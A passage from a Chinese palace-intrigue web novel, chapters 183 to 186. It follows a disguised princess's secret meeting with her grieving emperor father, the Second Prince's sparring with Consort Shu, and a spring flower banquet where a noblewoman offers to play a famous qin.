守护的侍卫伸手阻拦，二皇子探出头来，语气冷淡：“本殿下有事要找淑贵妃，还不速速退下。”
侍卫神色一变，立刻退避，拱手道：“二殿下请。”
进来之后，李行渊闭目养神。
现在皇宫之中，报淑贵妃的名号，可比顺成帝更要好用。
这段时间淑贵妃总是约见不同的人，像是密谋着什么。
在外人看来淑贵妃和李行渊虽然以前多有波折，但是毕竟是养母子的关系，再差又能差到哪里去。
可是李行渊知道，淑贵妃现在所谋划的一切，绝不可能是为了他以后能坐上那个位置。
他正想着，马车车夫在外轻声道：“殿下，玉鲤池到了。”
李行渊刚准备提醒李意清，一睁眼，却发现身边早已经人去楼空。
马车外面，李意清小声对车夫道：“多谢。”
车夫控制不好自己嗓门的大小，只能朝她用力点头，然后驾着马车朝着另一边驶去。
李意清将李行渊给她的令
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牌系在腰间，站起身子，一路朝着太和殿的方向走去。
因为腰间的令牌，一路上遇到的小太监都不会主动搭话，只远远低着头避开。
令牌越好用，李意清的心情就越复杂。
宫中淑贵妃的势力渗透，远远比自己想象中要深得多。
端着百合莲子羹的宫女行色匆匆，李意清加快了脚步，拦在她的面前。
“你是哪个宫的宫女？”
小宫女站在原地，有些惊慌地看着李意清。
“奴婢是御膳房的，这是要送给陛下的百合莲子羹。”
李意清：“给我，我去送。”
宫女大惊失色：“这怎么行，若是办不好差事，胡主管会生气的。”
李意清：“胡主管会生气，难道淑贵妃娘娘的话，就不作数了吗？”
宫女的表情像是要哭了，她咬着唇道：“公公莫要生气，奴婢，奴婢原先不知道公公是淑贵妃娘娘的。”
李意清看她肩膀都在颤抖，不忍心再恐吓，轻声道：“给我……咱家吧，你回去歇着。”
宫女过了好一会儿，才敢抬头看李意清端着盘子离开的背影。
方才不知道时不时她的错觉，她居然在这位公公的身上听到了温柔的意味。
怎么可能，那可是淑贵妃娘娘的人，她身边的太监都是红人，走路都恨不得两个鼻孔朝天。
一定是自己的错觉。
另一边，李意清端着百合莲子羹，走到了太和殿的门外。
不出意外，被守在门口的带刀侍卫拦住。
“做什么的？”
李意清微微昂首，语气镇定自若：“我是贵妃娘娘身边的人，特意来给陛下送汤羹。”
带刀侍卫上下打量她一眼，语气怀疑：“你倒是脸生得很。”
旁边的侍卫道：“我倒是觉得眼熟得很，但是就是想不起来在哪里见过。”
李意清：“……”
这要是被你想出来了那还了得？
她接话道：“奴才原先跟在申公公后面做事，后来得申公公赏识，跟在贵妃娘娘身后做事。”
她没有直接拿出那块令牌，来的路上她就发现了那块令牌的效用，一个刚拨给淑贵妃的太监，哪来的本事得到她的亲信。
带刀侍卫目光从她脸上缓缓移开，落在那一盅百合莲子羹上。
李意清心气平稳：“侍卫大哥若是不放心，可查验。”
她的语气太过坦荡，侍卫反倒撤下了戒心，他摆了摆手：“既然是贵妃娘娘的心意，快点进去吧。”
李意清：“多谢侍卫大哥。”
她抬起步子，在两人的审视下走进了太和殿中。
殿中，只有顺成帝一个人坐在案前。
他穿着一身单薄的明黄色寝衣，束起的发丝中染上斑白，坐在堆积如山的奏折前，显得整个人佝偻又瘦小。
短短三个月，顺成帝就像是变了一个人。
房中没有点燃熏香，看来今日遇到的，是清醒中的顺成帝。
书案前，提笔写着字的顺成帝听到了李意清的脚步声。
“朕这边不需要人伺候，退下。”
他低声咳嗽着，声音带着说不出的疲惫与漠然。
183. 牵你的手
李意清的脚步没有停下，一步步靠近。
空气中弥漫着笔墨的香味，地上凌乱地散着一些纸，有些有揉皱的痕迹，有些完好如初。
顺成帝佝偻着脊背，重复着之前所说的话：“朕叫你退下，听不到吗？”
“父皇……”
李意清的声音很轻。
顺成帝的身子猛地一僵，有些不敢置信地转头看向逆光而站的人影。
“意清，你怎么会过来？”
李意清走到顺成帝的对面坐下，将托盘放在桌案的边缘，“父皇将那枚丹药给皇兄的时候，应该就预料到了我会赶过来。”
顺成帝脸上布满褶皱，神情确是平和的：“是啊，只是没想到意清你过来的那么快。清儿，坐到父皇的身边来。”
李意清应了一声，走到顺成帝的身边坐下。
顺成帝执着笔的手颤抖着，一滴墨水滴在纸上，他如梦初醒，快速将笔搁在笔山上。
“意清，上次你来，是不是吓到了？”
顺成帝的视线落在李意清的身上，不等她回答，自顾自道：“你肯定吓到了，你长这么大，你母后从来都舍不得你见……。”
李意清：“我不怕。”
顺成帝被打断，愣了一下，才小声问：“你说什么？”
李意清道：“我不怕父皇。那日太和殿中血腥味浓郁，父皇提剑站着，声音狠厉，我醒来之后，皇兄守护在我的身边，他府上的医师说我是被人砸晕，但是我知道，父皇是先熏晕了我。”
顺成帝叹息一声。
他伸出手，短暂地停留在李意清的肩膀上方，轻轻落了上去。
“意清，父皇将丹药交给你二皇兄，本意就是不希望你再来掺和这件事。”顺成帝注视着她的眼睛，“父皇心中有数，但是父皇不能打草惊蛇。”
李意清望着他：“父皇，淑贵妃娘娘，她是不是……”
她忽然噤声，抬手在顺成帝的茶杯中蘸了点水，在桌面上写下一个字。
顺成帝看清案上的字迹后，神色抖然一变，沧桑的面容上带上了几分肃然。
他擦去那一小片水渍，嗓音略显沙哑道：“你是怎么发现的？”
淑贵妃久居深宫，迄今已经二十七年整，如果不是有其他势力的帮助，她怎么可能有能力掌控皇城的局势。
李意清：“所以父皇？当真是这样吗？”
顺成帝点了点头：“有所猜忌，但现在并无证据，之所以不敢大肆查找，是因为怕皇宫和京城之中已经被渗透。”
李意清：“所以父皇……是故意装作被她胁迫？”
顺成帝眸色深沉，复杂难辨。
虽然是他人设计陷害，但是亲手杀死的大臣，有忠有奸。
每每入夜，一闭眼，耳边似乎就能响起大臣临死之前的哀嚎，自此，再难入梦。
怪不得几个月不见，他清减了这么许多。
顺成帝避开这个话题，朝李意清挤出一抹笑，“清儿，你和你皇兄一道去西北吧，等父皇平定了京城，你们再回来。”
现在的京城太乱了，太子太过引人注目，而一个被废黜的皇子，则没有人会给与过多的关注。
顺成帝想将一个干干净净，无内忧外患的大庆交到孩子的手中。
李意清没有说话，安静地趴在顺成帝的膝盖上。
就像小时候一样。
顺成帝：“都多大的人了，还这般爱撒娇。”
他虽然语气嗔怪，但眉宇之间，是淡淡的喜悦。一个年过半百的君主，在珍惜和自己的女儿相处的每一刻。
李意清道：“父皇要把我和皇兄都送去西北，我没有意见，可是父皇……你的身边，可就太孤单了。”
顺成帝愣了一下，笑容淡淡：“帝王之路，本来就是孤寂的。”
太和殿太大，君主的书案摆在殿内中间，一转头，根本看不见窗外的清冷月光。
他伸手搭在李意清的发边，语气茫然叹惋：“也不知道你皇兄他，是不是在怨我恨我。”
怨也好，恨也罢，总之他能平安无事就好了。
“皇兄没有恨你。”李意清想到了什么，坐直了身子，对他认真道，“我还没有的回京的时候，皇兄就派人送了一枚香囊给我。”
李意清认真地比划，只恨自己今日出门没有带上。
顺成帝被她勾起了兴趣，低声问道：“什么香囊？”
李意清道：“那枚香囊里面，放着一张纸条，上面画着一盏橘色的孔明灯。”
孔明灯，李意清和李序泽幼时，顺成帝会偷偷带着皇后和他们出宫放的孔明灯。
李序泽那般聪慧，怎么可能察觉不出来顺成帝的刻意疏离。
顺成帝神色有些怔然，半响，才低低笑了出来，笑声越来越低：“序泽啊序泽……”
他能明显感觉到自己的身子一日不如一日，或许三个月，或许三年，过去会觉得人生短暂，岁月不居，恨不能千百载长存人间。可是现在，斯人已逝，如果不是要为儿女肃清朝堂，要这残躯何用。
或许那日灵堂前匆匆一眼，就是父子最后相见。
不，是全家人的最后一次在一起。
顺成帝想起棺中的皇后，笑容苦涩又带着几分释怀，“意清，那天你母后倒在我的怀中，可知我有多难过。”
他用陈述句说着疑问的话语，并不期待一个回答。
李意清担忧地看着他。
顺成帝将差不多快要愈合的伤口重新撕裂，本来结痂的地方重新变得血肉模糊，鲜血淋漓。他自虐一般道：“你母后曾大病一场，后来就埋下了祸根，我看着她身子一点点衰弱，却束手无策。淑贵妃向我举荐了玉顺仪，让她帮忙调养身体，可是皇后的身体还是一点点的衰败下去……”
李意清：“后来呢？”
“后来淑贵妃说，还有一种汤药，或许对皇后能起作用，但是尚且摸不准用量，因为无人用过……”顺成帝垂着眼，声音怀念，“我本来打算让人以身试药，可是我多了解你母后的性子，若是让她知道你父皇我用他人试药，估计要埋怨我一辈子了。”
李意清颤抖着声音问：“所以，所以父皇选择，自己试药。”
“我本来已经瞒住了她，”顺成帝语气带着几分自得，带着能帮助到新上人的骄傲，但是很快，又带着几分孩童般的幽怨，“若不是徐钱礼那个憨货，皇后怎么会知道。”
后来的故事，不用顺成帝讲述，李意清也能猜得出来。<
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皇后知道顺成帝亲自以身试药后，觉得自己成为了顺成帝的累赘，于是开始对顺成帝避而不见，希望以此方式断绝顺成帝的念头。
而顺成帝好不容易得知一个或许可以救活皇后的法子，怎么可能就此放手。
这就是坊间传言中的——帝后日渐不睦，遂离心。
顺成帝：“你母后那段时间，过的很苦，虽然她不许我进坤宁殿，但是每每批完奏折，子时左右，我都会去坤宁殿外。听到她撕心裂肺的咳嗽声忠，我只觉得心如刀绞。那天晚间，你母后倒在我的怀中，低声絮叨着自己的身上有多疼。”
“母后……”李意清眼眶湿润。
“你母后说，如果知道六个月后自己就撑不住了，一定不会选择与我赌气，而是牵着我的手……”
李意清看着顺成帝干枯的双手捂住自己的眼睛，泪水从指缝中溢出，哭得泣不成声。
这一刻，他不像是威严的君主，只是一个永失所爱的小老头。
李意清张了张嘴，想要安慰他母后最后一刻的释怀，可是又无从谈起。
她自己都不能自渡，谈何渡人。
顺成帝的哭声断断续续，听不真切，外头的侍卫敲了敲门：“陛下，陛下你怎么了？”
像是下一秒就要破门进来。
顺成帝现在声音沙哑，显然不适合回答任何问题。
“父皇，有空我再来看您。”
李意清擦干自己眼角的泪水，站起身，端着一口没动地百合莲子羹退了出去。
侍卫见她出来，眉头紧紧皱起，像是要夹死一只苍蝇：“你怎么现在才出来？”
李意清低着头，“陛下说头晕，让奴才按摩了片刻。现在已经好多了。”
侍卫听了她的话并没有放下戒心，伸手微微推开门缝。
透过细窄的缝隙，隐约可以看见顺成帝坐在书案前批阅奏折的身影。
侍卫将信将疑地关上了门，语气不善道：“陛下需要清净，你若是无事，赶紧退下。”
李意清应了一声，端着托盘往御膳房的方向离开。
走到御膳房的门口，李意清观察一圈四周，确认没有人后，将一碗原封不动的百合莲子羹倒在树边。
至于托盘碗勺，她没有这方面的经验，不知道如何收拾，如何隐藏。
就在她心跳声越来越快的时候，一个身影出现在她的身边，“殿下。”
李意清借着月光辨认着他的脸，认清来人后，先是惊喜，而后担忧：“徐公公？”
来人是徐钱礼不错，但是比起上次见到，他脸上多了几道疤痕，衣裳也不如以前光鲜亮丽。
徐钱礼伸手接过她手中的碗和调羹：“殿下，这些奴才收拾，您快些离开吧。”
李意清有许多话堵在心口，想要问出口，可是眼下并非叙旧的好地方。
她对徐钱礼拱了拱手：“多谢徐公公。”
徐钱礼抬手阻挡了她的施礼，眼神滴溜溜地四下观察，声音又低又急切：“殿下，御膳房朝东走，第三道宫墙边有一处狗洞，旁边杂草又高又密，常年无人关顾，你从那边走，出去后，便无人没什么巡逻的人了。”
说完，他伸手，用力地推了李意清一把。
184. 交锋
徐钱礼的身子隐匿在层层竹影之下，半边脸隐在浓稠的夜色中，半边脸露在银白色的月光下。
李意清回头看了一眼他，后者露出一抹笑，朝她摆了摆手。
“去吧。”
李意清不再留恋，转头钻进了夜色中。
顺着徐钱礼的指引一路向东走去，只能看见位数不多的几个巡逻侍卫。借着夜色和墙边杂草的遮挡，李意清没有惊动任何一人。
从洞中钻出来后，李意清脱下自己套在外面的宦官衣衫，取下帽子，折下路边一根树枝当作发簪，随意将自己凌乱的头发束起。
整理好仪容之后，她挑了一条小路回到公主府。
见她顺利回来，茴香和毓心悬在心上的石头终于落了地。
“殿下，此行可顺利？”
李意清怔了片刻，抬眸注视着茴香和毓心关切的视线，半响后，点了点头。
“一切都好，我有些困乏，想先休息。”
毓心早就准备好热水和干净的衣裳，闻言，拦住想要询问更多的茴香，对李意清道：“殿下请随我来。”
李意清将自己浸泡在热水中，早春鲜花不多，毓心只在浴桶中滴了几滴桂花香露。
“桂花安神，殿下问出自己想要的结局，今晚就先好好休息，什么事，都等明日再说吧。”
李意清伸手捂住自己的脸颊，点了点头。
*
淑贵妃宫中，灯火长明。
宫女上完菜后，将珠帘拉了起来，将空间留给淑贵妃和二皇子。
淑贵妃心思不在饭菜上，她的手指新染了蔻丹，鲜嫩红艳，端起洁白的瓷杯，显得玉指更加纤细。
她抿了一口茶水，随意问对面的二皇子：“你今日怎么过来？”
语气平静没有起伏。
李行渊镇定自如，装成没有听出淑贵妃语气中的不耐，伸手给自己倒了一杯茶水后，佯装无辜问道：“母妃是不希望我多陪在母妃身边吗？”
淑贵妃微微眯眼，凝眉看着面前的青年。
她以前也打算认真培养这个孩子，可是李行渊仿佛和她过不去一般，从来都不肯接受她的示好，频频惹祸。
旁人觉得他会为了权势靠近她，可是淑贵妃知道，两人之间根本没有所谓的母子情分。
青年眉眼有一道不灭的伤疤，虽然有医师的精心照顾，但是还是留下了痕迹。
他无意于那个位置。
李行渊盯着淑贵妃的视线，微微偏头看向淑贵妃身边的大宫女，嘴角微微勾起，露出一抹温柔的笑：“这茶喝着索然无趣，不知道彩蝶姐姐能否端来一壶冷酒？”
顺成帝年轻时候风流俊逸，举手投足皆是风雅，二皇子继承了顺成帝样貌上的大多优点，虽有疤痕，但难掩潇洒俊朗。
被称作彩蝶的宫女瞬间红了半张脸。
她喃喃地“喏”了一声，准备转身的时候忽然如梦初醒，紧张地朝淑贵妃看去。
果不其然，后者脸色冷如冰霜。
彩蝶猛地一个哆嗦，再也站不稳，扑通一声跪在地上，双手垫在额间，颤抖的声音带着哭腔：“娘娘，娘娘饶命……”
淑贵妃脸色冰冷，语气温和，她伸手手扶起彩蝶蜷缩成一团的身子，轻声道：“胡说什么呢，二皇子既然中意你，你稍后就跟着二皇子一道回去吧。”
彩蝶脸色惊恐，伸手扯住淑贵妃的衣摆，“不，不，奴婢是娘娘的人，绝不会离开娘娘。”
见自己的请求无用，彩蝶像是抓住救命稻草一样转头看向李行渊：“二殿下，二殿下，奴婢方才一时鬼迷心窍，奴婢对二殿下绝无半分肖想。”
李行渊好整以暇看着两人的拉扯，见彩蝶忽然看向自己，故作为难地看着淑贵妃：“母妃，您看这？”
淑贵妃看着他微微勾起的嘴角，又看了一眼跪在地上的彩蝶，“你能被二皇子看上，可是你的福气，可别不知道好歹。”
彩蝶一瞬间失去所有的力气，像一滩软布一样愣愣跪在地上。
淑贵妃没有理会她，抬了抬手，立刻就有人上前将彩蝶拉了出去。
彩蝶离开后，淑贵妃又让人去准备冷酒。
李行渊没有被这个插曲打断，他笑吟吟地看着淑贵妃，模样端得是一派乖巧：“我就知道母妃最疼我了。”
淑贵妃不想陪他演这一场母子情深的戏码，敷衍地嗯了一声，直切主题。
她微微抬起眼皮，紧紧看着李行渊：“今日，你去公主府了？”
李行渊：“是啊，父皇吩咐我去接李意清回京，母妃知道的，我根本就是懒得去，没去永定陵，只在公主府门前走了一个过场。”
淑贵妃抿了一口杯中的茶水，不知道信了没信。
李行渊继续道：“但是李意清那丫头不知道好歹，在府门前就和我纠缠起来，我怕站在门口，会让更多人看笑话，便进去小坐了片刻。”
这倒是和自己安排的人回禀的消息一样，淑贵妃不疑有他，随意问：“然后呢？”
“然后就进去吃了两口冷茶，”李行渊一边说着，一边狠狠地拧起眉头，语气抱怨：“母妃你是不知道，府上根本没有什么好茶，只有一点茶叶碎末，水也不是山泉水，和您宫中的，根本没法比。”
正好，送酒的宫女推开珠帘进来，闻言，她勾起一抹得意的笑：“那是，毕竟娘娘现在用的都是顾渚紫笋。”
说完，她邀功一般看向淑贵妃。
而淑贵妃并没有意料中的笑出来，而是面无表情道：“公主就算失势，也是一国公主，岂是他人可以随意欺辱的。”
李行渊眸光微闪，端起茶杯挡住自己的神色。
淑贵妃将自己散落在耳边的碎发别到耳后，声音清清冷冷：“明日，去叫负责宗亲采买的管事带到本宫面前来。”
李行渊不动声色地看着淑贵妃，只可惜眼前女人的妆容太重，他看不出淑贵妃是真心动怒还是装装样子。
不过，怎么想都很有意思，淑贵妃居然会关心李意清。
宫女应了一声，朝两人行礼，弯腰离开了。
李行渊一把拿过酒坛，揭开盖子后，深深嗅了一口酒香，惊喜道：“竟然是上好的梅香醉露，味道清冽，香味悠远。”
他迫不及待给自己满上一碗，一饮而尽。
淑贵妃坐在他的对面，有意无意道：“酒是好酒，莫要贪杯，会醉。”
李行渊不置可否地笑了笑，他在漳地经常喝得酩酊大醉，后来酒量一点点练上来，光凭这一小坛酒水，怎么可能惹人长醉。
淑贵妃说完，安静地吃着菜。
她用的不多
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，后宫女子以身姿窈窕为美，她为了保持身材，早就习惯少食。
虽然现在宫中已经无人需要她保持身姿，但是多年的习惯养成，胃已经伤了根本，现在有心多吃些养胃的东西，也有心无力。
李行渊在淑贵妃这里并不像在公主府那般随意，见到淑贵妃停下碗筷，立刻放下了筷子。
淑贵妃没有出声，在等待李行渊自觉一点离开。
等了大约半炷香的时辰，李行渊依旧保持着原先的姿势。
淑贵妃蹙眉，直接出声驱赶：“你怎么还不走？”
李行渊并不在意淑贵妃的语气，他像是有些为难地看着淑贵妃，几次张口，又闭上了嘴巴。
淑贵妃：“有话快说，这般忸怩。”
忸怩的李行渊立刻握拳，犹如下定决心一般道：“母妃，今日儿臣从公主府出来，还撞见了贤贵妃身边的银珠从庞府中出来。”
公主府和庞府同在朱雀大街，原先庞大学士还是大学士的时候，府邸在京城城门边上，被擢升为相后，顺成帝指了靠近皇宫的一处宅院给庞相居住。
那处院子，就在公主府的附近。
淑贵妃闻言，脸上露出一丝轻蔑的讽笑：“贤贵妃和庞相，这倒是有些意思，本宫记得不错的话，五皇子才十一岁？”
旁边的宫女立刻接话道：“禀娘娘，五皇子殿下刚过十一岁生辰不久。”
淑贵妃并不感兴趣五皇子究竟是十一岁还是十二岁，她看向李行渊，“你可有听到他们说了什么？”
李行渊摇了摇头，“距离太远，儿臣没能听清两人具体交谈了什么。”
不过如果淑贵妃想知道，自然有不少办法。
淑贵妃神色恹恹，有些意兴阑珊：“算了，他们两个交谈，无非就是皇位之事。”
李行渊只笑不语。
淑贵妃转而看向他，忽然，语气柔和了不止一点，“贤贵妃和庞相不过是跳梁小丑，本宫无需理会。不过既然碍着我儿的眼，我就留他们不得了。”
毕竟，皇位只有一个。
李行渊抿着嘴角，装成有些不明地看着淑贵妃。
淑贵妃伸出手，用她染得鲜红的指甲轻轻抚摸着二皇子脸上的伤痕，语气带着温柔和包容：“我儿不必担心，母妃会为你扫平所有碍眼的人。”
李行渊：“多谢母妃。”
淑贵妃摆了摆手，站起身掀开珠帘，脚步声愈来愈远。
等脚步声完全消失，才有宫女走到李行渊的身边道：“二殿下，时候不早了，奴婢们送您回去。”
李行渊站起身，心中仍在揣摩淑贵妃刚刚那句话的意思。
听到宫女的话，他微微摇头，笑容清雅可亲：“不必，谢谢这位姐姐，我自己走就是。”
李行渊走到马车边，掀开车帘，看见方才的宫女彩蝶正坐在自己的马车上。
她神情低落，没有丝毫欣喜之色。
李行渊走到她的身边坐下，彩蝶颤了颤身子，却没有移动。
他低头一看，原来彩蝶的双手被红绳牢牢束住，双脚亦然，像是生怕她逃跑。
李行渊在心中酝酿一番语气，声线温柔清澈：“彩蝶姐姐，我虽然不得父皇待见，常年住在漳地，可是府上并无妻妾，若是姐姐愿意陪在我身边，我一定待姐姐好。”
185. 赏花
彩蝶眨了眨眼睫，像一只受惊的兔子，略显茫然和无助地看着他。
“二殿下……”
李行渊微微垂眸，眸底布满温柔，像是散落的星辰万千，他凑近了彩蝶的耳边，轻声道：“虽然与姐姐初见，可好似一眼万年。”
坐在马车前面的玉言闻言，撇了撇嘴。
李行渊的脸皮是越来越厚，有些话张口就来。
彩蝶并没有被李行渊的甜言蜜语蛊惑，她将头埋在双膝之间，泣不成声。
李行渊没有遇到过这样的情况，有些无措地掀开帘子，求助地看向玉言——这该如何是好？
玉言冷漠无情地将马车车帘放下。
不知道，不会，没遇到过。
李行渊深吸一口气，重新整理好自己脸上的笑意，靠近彩蝶，牵起她的手，一点点将绳子解开。
彩蝶在淑贵妃的身边伺候，平时不怎么做粗活累活，只有指腹处微微有一层薄茧。
这绳子绑得很紧，李行渊神色认真，动作轻柔，像是对待一个易碎的陶瓷娃娃。
不知道什么时候，低垂着脑门的彩蝶抬起了头，呆呆愣愣地看着李行渊的动作。
李行渊朝她展颜一笑，示意她看手腕，“好了。”
说完，他低下脑袋，准备如法炮制，解开她脚腕上的绳索。
在李行渊指尖碰到她的一瞬间，彩蝶身子猛地一僵，似乎十分害怕。她阻拦道：“二殿下千金之体，怎么能，怎么能做这种事……”
李行渊的力气大过彩蝶的力气，很轻易压制了她的反抗，他低声道：“冒犯了。”
然后伸手解开脚腕上的绳索。
因为解开手上绳子的经验，李行渊这一次解开的格外顺利。
解开后，李行渊立刻做到马车的旁边，给彩蝶留出足够的位置。
彩蝶还处于震惊中久久不能回神，她呆呆愣愣地看着李行渊，嘴唇翕动。
李行渊风轻云淡地笑，像是自言自语般道：“我若是喜欢一个姑娘，不管她是九天玄女，还是地上微尘，于我而言，都是世间可遇而不可求的珍宝，我必珍之重之，爱之敬之。”
彩蝶的眼底有泪光闪烁。
“殿下，奴婢不值得。”
李行渊孩子气一般道：“值不值得，不应当由你说了算。”
彩蝶从小被送入宫伺候，教导嬷嬷教过她如何应对主子们的要求，却没有教过她如何处理眼前这副局面。
李行渊没有继续催促她的回应，而是坐在一旁闭目养神。
彩蝶偷偷打量着他，一眼又一眼。
她眼中的喜悦只存在了一瞬间，随后便涌起一股巨大的、浓郁到化不开的悲伤。
李行渊感受到了她身上浓稠的死寂气息，却没有开口询问。
他有预感，彩蝶会告诉自己这一切是为什么，只是时间问题。
*
三月底，淑贵妃以赏花为名，举办了一场热闹的赏花宴。
受邀的宾客上至公主亲王，下至京城五品小官家的女眷，皆受到了邀请。
众人摸不准淑贵妃的意思，一边小声议论一边驱驶自己的马车朝宫门方向过来。
李意清也在受邀之列，她本无意参与这类集会活动，可是知道裕世子也会过去后，她改变了自己的主意。
赏花宴上，流觞曲水，新运来的太湖石形状怪而嶙峋，配着青竹桃花、牡丹、芍药……仿佛整个京城的春色都差不多汇聚于此。
李意清穿着一身应季的草绿色的衣裙，披帛搭配的是一件间于墨绿色和靛蓝色之间的颜色，上面镶嵌着碎银片，阳光洒落在上面，折射着耀眼的光线。
这件衣服之所以被她选中，很契合她现在的心境，外表看着简单不张扬，但是每一分细节，都华丽闪耀，很有存在感。
旁边是女眷交谈的声音，她们穿着自己心仪的衣裙站在流动的泉水边言笑晏晏，手中的团扇画着的凤蝶和蜜蜂和园中的交相呼应，让春色更加生动。
“听说淑贵妃娘娘这次假借赏花之名，实则是为了给二皇子殿下挑选二皇子妃。”
“二皇子比大皇子只小了两岁，可是大皇子的孩子已经能说会跳，而二皇子现在身边连个伺候的人都没有，她怎么能不心急。”
“这些话你我私底下说说也就罢了，若是让贵妃娘娘听到，你能有什么好果子吃。”
“姐姐莫气，我也只在姐姐面前嘀咕两句。话说萱姐姐容貌倾城，当真对那二皇子妃的位置不感兴趣吗？”
“自然。”
她意有所指地努了努嘴。
五皇子虽然有贤贵妃的母族势力，但是毕竟太过年幼，放眼朝堂，二皇子当今已然贵不可言。
李意清坐在花枝的后面，顺着女声远远望去。
那是工部侍郎卫成兰的长女，名叫卫婉萱。
在现在的京城中，是不逊色与柳夕年当年才名的大才女。
和柳夕年的文静从容不同，她身上的清冷感更加明显，她站在人群中，又像是站在崇山峻岭，落目间满眼清冷孤寒。
站在三月桃园，心在霜雪之巅。
李意清看了一眼，收回视线。
离京三年，原先豆蔻年华的女孩如今都出落得愈发亭亭玉立。
身姿如抽条的柳树，纤腰不足盈盈一握。脸上不施粉黛，已然白里透红如似凝脂，让人忍不住心生喜爱。
不难想象，日后京城中有多少公子为了她的一颦一笑，会使出怎样的浑身解数。
茴香将袖兜中的杏仁和桃脯分了李意清一半，神色认真地评价道：“真的很漂亮，和殿下不一样的漂亮。”
李意清的漂亮是不用言语就能宣之于口的明艳，像一朵永不熄灭的烟花，又像是开到荼蘼的牡丹，大气惊艳，一眼就能刻入心扉。
卫婉萱的美则是青竹触雪，冷意宣之于口，如云中月。
李意清咬着口中的桃脯，同意了茴香口中的言论，“确实。”
两人坐在石桌上安静地欣赏美人。
一道身影在石桌前站定，遮去大半春色：“李意清。”
“是你啊。”李意清单手撑着脸颊，语气慵懒随意，“有事？”
李泊芳双手撑在大理石桌上，细长的眼眸紧
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紧盯着李意清：“我弟弟三天前的夜里被人打了，至今卧床不起，你知道这件事吗？”
李意清：“三天前被人打了？我怎么会知道这件事？你不会怀疑是我做的吧？”
李泊芳一时间语塞。
她狐疑地看着李意清：“你当真不知道？”
李意清心中暗自叹了一声，如果裕世子李澈筠没有来这赏花宴，她这一趟算是白来了。
她的心情蓦然就变差了不少，连带着对李泊芳的应对都变得敷衍起来：“李泊芳，你弟弟不学无术，京城之中得罪的人不少吧。”
李泊芳脸上一阵红白交替。
李澈筠人胆子小，人怂却不安分，说起他那点子爱好，裕亲王和李泊芳脸上都无光。
“最好不是你。”李泊芳咬着下唇，语气讥讽，“你以为你现在还是大庆嫡公主吗？当真可笑……”
“吟瑞郡主来了，怎么不先来和本宫见上一面。”
忽然，一道含笑的声音打断了李泊芳的声音。
李泊芳朝声音发出的地方望过去，桃树层叠遮掩之下，只能看见一道明黄色宫装的女人手搭在丫鬟的手上，从容不迫，不紧不慢。
“……贵，贵妃娘娘。”
李意清站起身，朝着淑贵妃微微施礼，“淑娘娘。”
淑贵妃朝她微微颔首，语气随意道：“你二皇兄正在流月亭品茗，正缺人相伴，你去看一眼吧。”
这是要她先行离开？李意清微微低头，应了一声，和毓心和茴香一道离开。
旁边正在小声交谈的众人也追了上来，卫婉萱被簇拥在众人之间，她们落后李意清一步。
几位世家小姐想要开口打招呼，却又不知道从何说起。
本以为淑贵妃和公主关系僵硬，谁知道今日一面，淑贵妃还会主动来与於光公主搭话。
看来大皇子的事情，并没有过多地迁怒于公主的身上。
几人犹疑不定，卫婉萱沉思片刻，主动出声道：“公主殿下可是要去流光亭？我们不妨同行。”
她的声音清清冷冷，嗓音却格外柔和。
茴香听到这道声音的下一瞬就激动地拽住李意清的衣袖，李意清被扯得有些发疼，有些无奈地看了茴香一眼，站定回眸。
“原来是卫家小姐。”
卫婉萱望着她，语气有些不自然的开口：“公主殿下若是不嫌弃，不妨叫我婉萱。”
李意清在口中细细咀嚼这两个字：“婉萱，温柔婉约，萱草无忧，是个极好的名字。”
卫婉萱盈盈一笑：“殿下说好就好。”
李意清怔了一下，不知道说什么合适。
旁边的世家小姐都纷纷露出诧异的眼神，卫婉萱素来淡漠，她们讲了半天才只能听到她偶尔的一两句回应。
才见到李意清这短短时间，说的话已经比今日讲的所有话都要多了。
她们怎么能不意外。
李意清怔了一瞬，在毓心的轻咳下回神，“既然一道去流光亭，一道同行吧。”
卫婉萱微微笑着颔首：“殿下在前面先走，我们随后跟上就好。”
186. 碧涧流泉
流光亭中，摆着一架古琴。
李行渊倚亭柱而站，双手抱胸，远远眺望着满园春色。
听到脚步声，李行渊转头朝李意清的方向望来，见到她身后一大片女眷的时候眼底闪过一抹厌倦。
李意清在他面前挥了挥手：“二皇兄。”
李行渊回神，淡淡道：“坐下吧。”
他乍然态度转变，李意清还有些不习惯，她用眼角余光关注李行渊的神情，见没有别的异常，从善如流坐在流光亭中。
古琴是上好的古琴，传闻中有仙山名落霞，山有神女，善制琴，琴名九霄。
李意清望着桌上摆放的“九霄”琴，语气有些惊叹：“九霄琴，传闻中已经下落不明，皇兄是在哪里寻到的？”
李行渊站在桌边，单手撑在大理石桌上，语气无所谓道：“你喜欢，送你就是。”
李意清失笑：“皇兄取笑了，我不擅长音律，九霄落在我手中也只能明珠蒙尘，倒不如送给擅长的女子。”
李行渊抿了抿嘴角。
女眷中，有人轻轻推攘着卫婉萱，细声道：“卫姐姐，我记得你精通琴艺。现在九霄在此，不如弹奏一曲？”
毕竟九霄琴可遇不可求。
卫婉萱有些犹疑，视线落在流光亭中。
亭角蜿蜒勾起，似一只展翅欲飞的鸟雀，映着桃枝流泉，不难想象坐下抚琴会是何等风雅。
卫婉萱不想出这个风头。她默不作声地侧目看身边其他人的反应，不少女眷都对着古琴蠢蠢欲动。
毕竟，谁都知道淑贵妃办这一场赏花宴的真实用意。
现在二皇子在此，如果能凭着一曲天籁得到二皇子的青眼，那可真是一步登天。
李意清托腮看着李行渊，语气带着几分好奇：“皇兄，我怎么没听说过你会音律？”
李行渊实话实说：“不会。”
他确实不懂音律，九霄琴也只是因为自己答应了淑贵妃，要将此琴找过来。
“这琴送你了，你如何处置，都随你。”李行渊语气淡然，丝毫没有在意这把九霄琴何等珍贵。
李意清抬眸望着李行渊，半响，无奈地勾起嘴角。
能被允许到这边的女眷，都差不多是淑贵妃中意的二皇子妃对象，李行渊将琴送给李意清，堵住了淑贵妃的话。
后续李意清自留还是送给她人，淑贵妃都不好过问。或者多少要带上几分怨气，怪她平白坏了二皇子的事情。
李意清站起身，笑意温柔：“……那就多谢皇兄。”
推攘中的女眷忽然喧嚣起来，几人争相举手，闹做一团。
李行渊被声音吸引过去，紧皱着眉头，“你们……”
李意清也忍不住朝这边望来。
卫婉萱率先一步站出来，微微欠身，语气清冷道：“臣女卫家长女卫婉萱，愿为殿下弹《碧涧流泉》，以贺春意。”
李意清眸子灿若星辰，微笑道：“我记得卫家长女，才艺双全，能听到卫姑娘的琴曲，当真快事。”
她已经开口，李行渊拒绝的话就不好说出口了，他虽然没有直接同意，却已然默许。
玉言会意走到卫婉萱的面前，语气恭敬：“卫姑娘，请。”
